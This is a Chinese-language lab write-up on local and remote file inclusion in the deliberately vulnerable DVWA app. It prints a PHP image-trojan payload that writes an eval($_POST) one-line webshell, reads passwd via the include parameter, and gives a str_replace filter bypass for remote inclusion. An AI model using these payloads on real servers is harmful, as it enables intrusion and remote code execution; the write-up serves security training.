实验环境:OWASP_Broken_Web_Apps虚拟机--dvwa
实验原理:文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
实验过程:---Dvwa(low)
---本地文件包含
先看源码,发现page变量可以查看任意文件
输入一些文件,看看是否可以查看
可以查看hosts文件和passwd文件,危害性挺大
我们使用文件包含来拿取webshell的思路:
先讲原理-我们利用这里漏洞并执行代码可以在目标服务器上在自己建立一个设立了shellxxy2.php的文件,再尝试用中国菜刀连接。
1-制作图片马,可以使用edjpg软件
2-上传图片马
3-执行代码
4-尝试用中国菜刀连接
<?fputs(fopen("shellxxy2.php","w"),'<?php eval($_POST['xxy']);?>')?> //目的是在目标服务器中建立一个shellxxy.php的文件,并在里面写入一句话木马
上传图片马
图片马上传成功,不过里面的代码需要执行才能运转
执行成功,我们看看靶机fi文件夹里有没有生成shellxxy2.php(我这里有个错误,执行并不是复制路径直接访问,而是要在文件包含里执行!!)
发现图片上传成功,但是却没有在fi文件夹里生成shellxxy2.php文件
我们看看图片里面有没有插入马子
应该是马子没插进去,再试试
在靶机上把刚才上传的图片删除
上传成功后执行(在文件包含里执行!!)
在靶机里看看文件生成情况---我不知道为什么,我的执行不了
思路就是执行过后会在fi文件夹里生成一个shellxxy2.php的文件,内容是<?php eval($_POST['xxy'])?>
下来用菜刀链接就好了,路径应该是http://192.168.182.129/dvwa/vulnerabilities/fi/shellxxy2.php
---远程文件包含
用kali机打开apache服务
创建文件
之后在文件包含检验
不知道电脑怎么了,今天都无法访问,思路还是,访问代码执行之后,会在靶机fi文件夹下生成一个php文件,接下来就可以用菜刀连接
Dvwa(medium)
先看源码
str_replace函数会吧page参数中的http:// 和https:// 换成空
所以对本地文件上传没有影响,还是可以用上传图片马的方式getshell
如果是远程文件包含的话,在page后参数写为 page=htthttp://p://IP/1.txt就OK
Dvwa(high)
文件已经被写死了,包含的文件只能是 include.php 所以HIGH还是很安全的。
不知道什么原因,一些操作执行不了,但是思路都很清楚啦哈